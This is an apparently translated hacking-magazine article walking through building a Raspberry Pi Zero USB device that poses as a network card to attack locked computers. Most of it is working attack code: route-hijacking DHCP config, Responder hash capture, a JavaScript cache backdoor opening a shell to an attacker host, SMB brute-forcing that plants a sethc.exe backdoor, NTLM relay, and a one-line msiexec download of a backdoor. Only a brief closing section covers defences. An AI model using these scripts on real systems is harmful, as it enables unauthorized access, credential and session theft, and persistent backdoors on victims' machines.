info
This article continues the series of publications describing practical hacking and attacking techniques involving makeshift devices that can be easily assembled at home. You will learn how to gain unauthorized access to protected information and how to protect your own data from such attacks. The previous article in this series was VERY bad flash drive. BadUSB attack in detail.
warning
This article is intended for security specialists operating under a contract; all information provided in it is for educational purposes only. Neither the author nor the Editorial Board can be held liable for any damages caused by improper usage of this publication. Distribution of malware, disruption of systems, and violation of secrecy of correspondence are prosecuted by law.
By default, Windows, Linux, and macOS can automatically (i.e. without user involvement) identify certain USB devices as Ethernet network cards. Importantly, this is possible even on locked PCs. This feature makes it possible to implement an elegant attack described in this article. The idea is that the device plugged into a USB port pretends to be a network card. However, this is a very special network card…
What is the difference between the BadUSB-ETH and the BadUSB-HID attacks? The main advantage of the attack presented in this article is that it can be delivered against a locked computer. In addition, it doesn’t require you to covertly connect a malicious device to the target PC for a long time – BadUSB-ETH is performed in just a few minutes. After all, if the target PC is unlocked, you can implement a simpler and more effective attack described in the previous article or use the keyboard to enter the command that downloads and launches your backdoor:
msiexec /i https://attacker.tk/backdoor.msi
Overall, it takes only three or four seconds to ‘manually’ compromise an unlocked PC left unattended! Computers are everywhere nowadays, and open USB ports are pretty common.
The BadUSB-ETH attack targets locked computers left unattended for a short time, terminals, or publicly accessible USB ports.
Theory
The plugged USB board, BadUSB-ETH, is identified as an Ethernet network card. But in reality, this isn’t just a network card, but a device equipped with a fully functional computer with its own OS. Using it, you implement a sophisticated chain of multiple attacks. Generally speaking, this device is a makeshift implementation of Bash Bunny from Hak5. The attack is based on the open-source PoisonTap project.
The first and foremost element of the BadUSB-ETH attack is that you configure the network on the attacked PC. At the time of connection, the interface is created, but not deployed. This means that immediately after the connection, the attacked PC will request DHCP settings (default behavior). In response to such a request, your device provides an unusual network configuration giving it a priority and blocking all active network connections on the target computer. This is achieved using shorter route masks:
0.0.0.0/0 via 10.10.0.1 <- initial default route (by default, all packets use it)
0.0.0.0/1 via 1.0.0.1 <- your route overlapping first 50% of IPv4 networks
128.0.0.0/1 via 1.0.0.1 <- your second route overlapping the other 50% of IPv4 networks (the mask is shorter, and the route has a higher priority)
In all modern operating systems, routing in IP networks is based on a common principle: the shorter is the network mask of a route, the higher is the priority of this route. This is the primary routing rule. And in this particular case, the /
mask is slightly shorter than the /
mask of the default route.
When such settings are applied to a new network connection, all packets from other network interfaces start using a new route leading to your hacking device. In fact, you effectively ‘pull out’ all traffic. This is how you can intercept network traffic from a locked device using a regular USB board. Schematically, the attack is shown below.
Keep in mind that you have also deployed a regular network channel for interaction with the locked PC. Using it, a whole range of network attacks can be unleashed on the target; their assortment depends only on your imagination:
- NetBIOS Poisoning (Hash leak);
- MS17-010, BlueKeep, PrintNightmare;
- Bruteforce;
- port scanning, RDP/WWW screenshots, etc., etc.
In addition, your device also acts as a ‘supergateway’ since all network traffic, including adjacent network interfaces, now goes through it. Being in a ‘legitimate MITM’ position, you can launch a number of traffic interception attacks:
- Cookie Siphoning (extract cookies in a redirect cycle by enumerating sites with a wordlist);
- WebCache Poisoning (inject JS backdoors into downloaded JavaScript libraries);
- Insecure Updates (force popular software to update and send a backdoor); or
- Passive Sniffing (FTP, SMTP, SMB, HTTP, etc).
Implementation
The malicious device can be implemented on the basis of many single-board solutions. The most lightweight and well-known among them is Raspberry Pi Zero (W). This board doesn’t need additional power: the required voltage is provided by the computer’s USB port. To indicate the attack progress, three LEDs are used:
- green (INFO) – PC identified your device as an Ethernet network card, and the network is deployed;
- yellow (WARNING) – NetNTLM hash or other sensitive data leaked; and
- red (CRITICAL) – RCE discovered, password guessed, etc.
Most single-board PCs are equipped with GPIO pins that can be used to apply low voltage required by LEDs.
Accordingly, to light and then turn off the LED connected, for instance, to pin 26, you have to execute the following OS commands inside the board:
raspi-gpio set 26 op dh
sleep 1
raspi-gpio set 26 op dl
Similar to the emulation of other USB devices, an Ethernet device is emulated directly by the Linux kernel via so-called USB gadgets. Such an attack was brilliantly demonstrated by Sami Kamkar in a project called PoisonTap:
git clone https://github.com/samyk/poisontap
ln -s ~/poisontap /opt/poisontap
I used this tool as the basis, especially in network card emulation, although with some improvements:
/home/pi/poisontap/pi_startup.sh
rmmod g_ether
cd /sys/kernel/config/usb_gadget/
mkdir -p poisontap
cd poisontap
echo 0x0694 > idVendor
echo 0x0005 > idProduct
mkdir -p strings/0x409
echo "Samy Kamkar" > strings/0x409/manufacturer
echo "PoisonTap" > strings/0x409/product
# RNDISmkdir configs/c.2
echo "0xC0" > configs/c.2/bmAttributes
echo "1" > configs/c.2/MaxPower
mkdir configs/c.2/strings/0x409
echo "RNDIS" > configs/c.2/strings/0x409/configuration
echo "1" > os_desc/use
echo "0xcd" > os_desc/b_vendor_code
echo "MSFT100" > os_desc/qw_sign
mkdir functions/rndis.usb0
echo "42:61:64:55:53:45" > functions/rndis.usb0/dev_addr
echo "48:6f:73:74:50:44" > functions/rndis.usb0/host_addr
echo "RNDIS" > functions/rndis.usb0/os_desc/interface.rndis/compatible_id
echo "5162001" > functions/rndis.usb0/os_desc/interface.rndis/sub_compatible_id
ln -s functions/rndis.usb0 configs/c.2
ln -s configs/c.2 os_desc
ls /sys/class/udc > UDC
modprobe g_ether
sleep 10
ifup usb0
ifconfig usb0 up
/sbin/route add -net 0.0.0.0/0 usb0
/etc/init.d/isc-dhcp-server restart
/sbin/sysctl -w net.ipv4.ip_forward=1
#/sbin/iptables -t nat -A PREROUTING -i usb0 -p tcp --dport 80 -j REDIRECT --to-port 1337#/usr/bin/screen -dmS dnsspoof /usr/sbin/dnsspoof -i usb0 port 53#/usr/bin/screen -dmS node /usr/bin/nodejs /home/pi/poisontap/pi_poisontap.jsiptables -t nat -A POSTROUTING -o usb0 -j MASQUERADE
Since BadUSB-ETH is a cross-platform attack, you have to configure the emulation of two composite USB devices at once: for RNDIS (Windows) and for CDC (Unix) network cards. The overlap of network interfaces (i.e. their hijacking) is set up in the dhcpd.
file:
/etc/dhcp/dhcpd.conf
subnet 0.0.0.0 netmask 128.0.0.0 { range 1.0.0.10 1.0.0.50; option broadcast-address 255.255.255.255; option routers 1.0.0.1; default-lease-time 600; max-lease-time 7200; option domain-name "local"; option domain-name-servers 1.0.0.1;# send the routes for both the top and bottom of the IPv4 address space option classless-routes 1,0, 1,0,0,1, 1,128, 1,0,0,1; option classless-routes-win 1,0, 1,0,0,1, 1,128, 1,0,0,1;}
Even though the device pretends to be a gateway, it doesn’t actually forward packets from the victim’s computer to their intended destinations, but the compromised PC doesn’t need to know this.
It must also be noted that DNS spoofing isn’t performed on purpose: to avoid disrupting the original network flows to legitimate resources (all traffic going to them will be intercepted anyway because you imitate a gateway).
Too bad, out-of-the box, PoisonTap implements only a few attacks. But since you are going to use the whole bag of tricks, add the following attacking script-loader to autorun:
/etc/rc.local
/bin/sh /home/pi/poisontap/pi_startup.sh # initially was in PoisonTap/usr/bin/screen -dmS attacks /home/pi/launch_attacks.sh # your homemade additions
Now let’s configure additional attacks.
/home/pi/launch_attacks.sh
#!/bin/bashHOME='/home/pi'time=$(date +'%H:%M:%S_%d.%m.%Y')screen -dmS Xorg xinit -- /usr/bin/X :0 -br # (optional) for GUI scriptsscreen -dmS www python3 -m http.server --bind 2.0.0.1 --directory $HOME 80
cd $HOMEfor script in $(find on_network/ -type f -perm -u+x)do exec $script usb0 poisontap >> $HOME/poisontap_$time.log &
donewhile : # waiting victimdo echo 1 > /sys/class/leds/led0/brightness
if [ $(arp -an | sed -rn 's/\? \(([^\)]+)\) .*\[ether\] on usb0/\1/p' | wc -l) -ne 0 ] then break fi sleep 0.1
echo 0 > /sys/class/leds/led0/brightness
sleep 1
doneled green on
arp -an | sed -rn 's/\? \(([^\)]+)\) .*\[ether\] on usb0/\1/p' | while read ip
do for script in $(find on_client/ -type f -perm -u+x) do exec $script $ip "" 1.0.0.1 >> $HOME/poisontap_$time.log &
donedonetail -f $HOME/poisontap_$time.log
When Raspberry is connected to the attacked PC, it turns on immediately; then the system starts, activates network emulation via USB, and the above script is executed automatically. First, it runs global attack scripts (on_network). Then it waits until the victim’s computer sets up an Ethernet network: on Raspberry, this means that a new IP appears in the ARP cache. And only then it unleashes all the targeted attack scripts on the new IP (on_client). The results of all checks are saved to the respective file on the device’s memory card.
In fact, this attacking engine enables you to automatically run any scripts (sh/py/etc.) against each target. The script prototypes are as follows:
-
on_network/
;script. sh $interface $networkname -
on_client/
.script. sh $target_ip $networkname $attacker_ip
You can use the most popular vulnerabilities for automatic attacks and deliver specific attacks targeting local networks since your device forms a virtual local area network with the attacked PC.
Let’s start with global attacks. First of all, this applies to Responder that delivers attacks on broadcast requests (that will also come to your interface). These attacks are the most promising and almost always bring success:
on_network/responder.sh
#!/bin/bashecho '[*] running Responder attacks'iptables -t nat -vnL PREROUTING > /tmp/iptables.txt
if ! cat /tmp/iptables.txt | grep "$1" | grep -q 53; then iptables -t nat -A PREROUTING -i "$1" -p udp --dport 53 -j REDIRECT --to-port 53
fifor port in 21 25 80 88 110 143 389 443 445 1433 3389
do if ! cat /tmp/iptables.txt | grep "$1" | grep -q " $port"; then iptables -t nat -A PREROUTING -i "$1" -p tcp --dport $port -j REDIRECT --to-port $port fidone[[ $(pgrep -f Responder.py) = '' ]] && { responder -I "$1" -r -d -w -F &
}inotifywait -e MODIFY -rm /usr/share/responder/logs | while read event
do if echo $event | grep -e NTLM -e ClearText --color=auto; then led yellow on 2> /dev/null
fidone
Taking that you block all wire and wireless network interfaces (if any) on the attacked computer, plenty of authentication attempts will come to you BadUSB device, and Responder will record them. As soon as at least one hash is received, the yellow light on the device will turn on.
Instead of Responder, you can launch MITM attacks on the web trying to hijack incoming cookies and inject a JS backdoor into the web cache:
on_network/poisontap.sh
#!/bin/bashecho '[*] running cookies siphoning and web cache poisoning'sleep 5 # after captive portal checks[[ $(pgrep dnsspoof) = '' ]] && { #screen -dmS dnsspoof dnsspoof -i "$1" port 53 dnsspoof -i "$1" port 53 &
}[[ $(iptables -t nat -vnL PREROUTING | grep "$1" | grep 1337) = '' ]] && { iptables -t nat -A PREROUTING -i "$1" -p tcp --dport 80 -j REDIRECT --to-port 1337
}[[ $(pgrep -f pi_poisontap.js) = '' ]] && { truncate -s 1 /opt/poisontap/poisontap.cookies.log
nodejs /opt/poisontap/pi_poisontap.js &
}tail -f /opt/poisontap/poisontap.cookies.log | while read line
do if echo $line | grep 'Cookie:' --color=auto; then led yellow on 2> /dev/null
fidone
As soon as you intercept at least one HTTP request, you can use PoisonTap to start injecting a cycle of redirects to sites from poisontap/
, thus, forcing the browser to go to these sites and send you cookies. This is how you can extract sessions to certain web resources from a locked workstation.
Concurrently, enumeration is performed for popular JS libraries. Since this is a MITM attack, you control the server’s response. In each of the loaded JS libraries, you inject malicious code from poisontap/
and expose HTTP headers that force the victim’s web browser to cache this content for a long time:
/home/pi/poisontap/target_backdoor.js
var socket = new WebSocket((location.protocol=='https:'?'wss:':'ws:') + "//js_shell.attacker.tk/ws")socket.onmessage = function(event) { var result = eval(event.data) if(result) socket.send(result)}
When the victim logs into a website that uses a JS library you’ve poisoned, you can get a JS shell to this web page enabling you to perform any action on behalf of this user. This attack uses the same port as the Responder (80/tcp); accordingly, they are mutually exclusive, and it’s not launched directly from pi_startup.
, but from the attack engine when necessary.
For targeted attacks that require an IP address, you can use the following variant:
on_client/ms17-010.sh
#!/bin/bashWAIT=2
DPORT=445
#https://github.com/worawit/MS17-010if nc -nw $WAIT $1 $DPORT < /dev/null 2> /dev/null; then echo '[*] checking MS17-010' nmap -Pn -n -p 445 --script smb-vuln-ms17-010 $1 > /tmp/ms17-010.log 2> /dev/null
if grep 'State: VULNERABLE' /tmp/ms17-010.log --color=auto; then led red on 2> /dev/null
fifi
If the PC is vulnerable, the red LED on your BadUSB device will turn on. Also, the oldie-goodie brute-forcing always remains relevant:
on_client/bruteforce/smb.sh
#!/bin/bashWAIT=2
DPORT=445
function pwn(){ echo "[*] try to activate backdoor" target="$1" user="$2" password="$3" psexec.py "$user:$password@$target" 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t reg_sz /d "\windows\system32\cmd.exe"' > /dev/null
}if nc -nw $WAIT $1 $DPORT < /dev/null 2> /dev/null; then echo '[*] bruteforcing smb' for user in администратор administrator admin; do found=$(medusa -M smbnt -m PASS:PASSWORD -h $1 -u $user -P on_client/bruteforce/default_pass_for_services_unhash.txt | grep 'SUCCESS (ADMIN$ - Access Allowed)') if [ x"$found" != "x" ]; then led red on 2> /dev/null
echo $found | grep 'SUCCESS' --color=auto
password=$(echo $found|sed -rn 's/.*Password: (.*) \[SUCCESS.*/\1/p') pwn "$1" "$user" "$password" break fi donefi
If the SMB password to the computer is guessed, then the BadUSB device will use this script to activate a backdoor on it, thus, giving you the command line even before logging in: all you have to do is press the Shift key five times.
Since BadUSB-ETH is a cross-platform attack, similar brute-forcing can be applied to RDP and SSH.
And, of course, you can add your favorite attacks that are suitable for a specific situation. To do this, just place the required script into the on_network
or on_client
directory. To activate or deactivate an attack in various scenarios, set/unset the execution bit on the respective scripts (chmod
).
When the attack is completed, you simply remove the device from the USB port, and all the results will be saved to a file stored on the memory card of our device, including the date and time of the attack. To ensure that the device saves all data before it’s unplugged (i.e. the power is turned off), disable the disk cache so that all information is immediately written to the memory card:
/etc/fstab
PARTUUID=27b31ed7-02 / ext4 defaults,noatime,sync 0 1
And a finishing touch: processing light indication control requests for selected contacts:
/usr/local/bin/led
#!/bin/bashcase $1 in green) if [ x$2 = "xon" ]; then raspi-gpio set 26 op dh
elif [ x$2 = "xoff" ]; then raspi-gpio set 26 op dl
fi ;; yellow) if [ x$2 = "xon" ]; then raspi-gpio set 193 op dh
elif [ x$2 = "xoff" ]; then raspi-gpio set 139 op dl
fi ;; red) if [ x$2 = "xon" ]; then raspi-gpio set 5 op dh
elif [ x$2 = "xoff" ]; then raspi-gpio set 5 op dl
fi ;;esac
Attacking a locked computer
Time to plug your Raspberry Pi Zero acting as a BadUSB-ETH attack device into a locked computer.
Half a minute after the connection, the green light turns on: a network connecting the device and the PC has been deployed. Such attacks enable you to effectively hijack NetNTLM hashes on domain PCs since you block communication with the domain controller and other corporate resources with pass-through authentication. In such cases, the yellow light turns on (this takes about a minute). And if the red light suddenly turns on, this means that your attack scripts have detected a potential RCE and your device can activate a backdoor. And all these results are achieved using a simple USB cable!
Remote access
The malicious device can notify you about the attack results only using its LEDs. Of course, the full picture is saved in the logs that can be reviewed afterwards. But since you need to deliver the attack quickly, you have to control everything on the fly.
Raspberry Pi Zero W is equipped with Wi-Fi, and you can connect to it during the attack: either from a phone or a laptop. This is pretty easy: you need just three configuration files. In the first file, you specify wireless network parameters:
/etc/hostapd.conf
interface=wlan0
driver=nl80211
ssid=badusb
hw_mode=g
channel=1
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=3
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_passphrase=s3cr3t_p@ss
In the second file, you specify network parameters for clients:
/etc/dhcp/dhcpd.conf
subnet 2.0.0.0 netmask 255.255.255.0 {
option subnet-mask 255.255.255.0;
option routers 2.0.0.1;
range 2.0.0.10 2.0.0.10;
option classless-routes 24, 1,0,0, 2,0,0,1;
option classless-routes-win 24, 1,0,0, 2,0,0,1;
}
Your own network settings on the BadUSB board are specified in the third file:
/etc/network/interfaces
auto wlan0
iface wlan0 inet static
address 2.0.0.1
netmask 255.255.255.0
Then you activate your settings:
systemctl unmask hostapd.servicesystemctl enable hostapd.servicevim /etc/default/isc-dhcp-server: INTERFACESv4="usb0 wlan0"
This is how you implement an access point inside your BadUSB. It enables you to connect to the device over Wi-Fi during an attack.
In the launch_attacks.
script (see above), a miniature web server is deployed on the Wi-Fi interface. Using it, you can review respective logs during the attack to get information about detected vulnerabilities.
As you can see, the attacked PC sent over USB both the account password hash and the webmail access cookie.
Access to target PC
If the red LED on our device turns on (i.e. it detects a critical vulnerability or guesses a password), you should act as quickly as possible. However, a device having neither a keyboard nor a display isn’t the most handy tool for interactive exploitation. But since it’s equipped with already configured Wi-Fi, you can use it as a gateway to access the target PC during the attack. This feature is activated in the very last string of the pi_startup.
script.
For instance, you can run an RDP client on your phone and log into the attacked PC using a guessed password.
The possibility to gain network access to the victim’s computer via BadUSB can be used to deliver more attacks involving hacker laptops with vulnerability scanners or it can be used in post-exploitation.
Access from target PC
Wi-Fi provided by the Raspberry Pi board can also be used to transmit traffic in the opposite direction: from the victim’s computer to the attacker. The BadUSB attack has an extremely high potential, and some scenarios can require the attacking BadUSB device to be connected to the outside world.
For instance, you may need to hijack admin’s hash and use it to ‘open’ a domain controller that stores the ‘key to all doors’.
Using the script below, you can send the leaked NetNTLM over Wi-Fi to another device for a subsequent authentication bypass attack.
on_network/ntlmrelay.sh
#!/bin/bashATTACKER=2.0.0.10
for port in 80 445
do if ! iptables -t nat -vnL PREROUTING | grep "$1" | grep -q " $port"; then iptables -t nat -A PREROUTING -i "$1" -p tcp --dport $port -j DNAT --to-destination $ATTACKER:$port fidoneiptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
Then you approach the locked admin’s PC. While its owner is away, you quickly plug your BadUSB device into an available USB port. As soon as the device boots-up, you immediately connect to it over Wi-Fi, for instance, from a phone (for convenience, the attacker always receives a fixed IP address: 2.
) and run on the phone the script that redirects NTLM authentication.
The BadUSB device hijacks the NetNTLM hash of the domain admin’s account and sends it to the phone over Wi-Fi for subsequent use. The phone receives it and uses this hash to authenticate as an admin on an arbitrary internal host (e.g. on the domain controller). With some variations, this attack enables you to hack almost any corporate computer or server using physical access to a USB port.
Protection
Keep in mind that every time a BadUSB attack is delivered, a new network interface is created. Therefore, you cannot simply disable it in network settings: it’s nonexistent yet. Every time a BadUSB device is plugged, a new interface is created from scratch and removed after unplugging. As a result, the attack is delivered covertly; when it ends, no traces remain: neither the network interface nor changed network settings – the operating system returns everything to its original state.
The best protection from such attacks are specialized software solutions that restrict the use of alien USB devices (i.e. block USB devices that aren’t on the white list).
An alternative way to protect your network is to disable the connection of USB network cards in group policies. And, of course, ideally, physical access of unauthorized persons to potentially vulnerable computers should be completely restricted.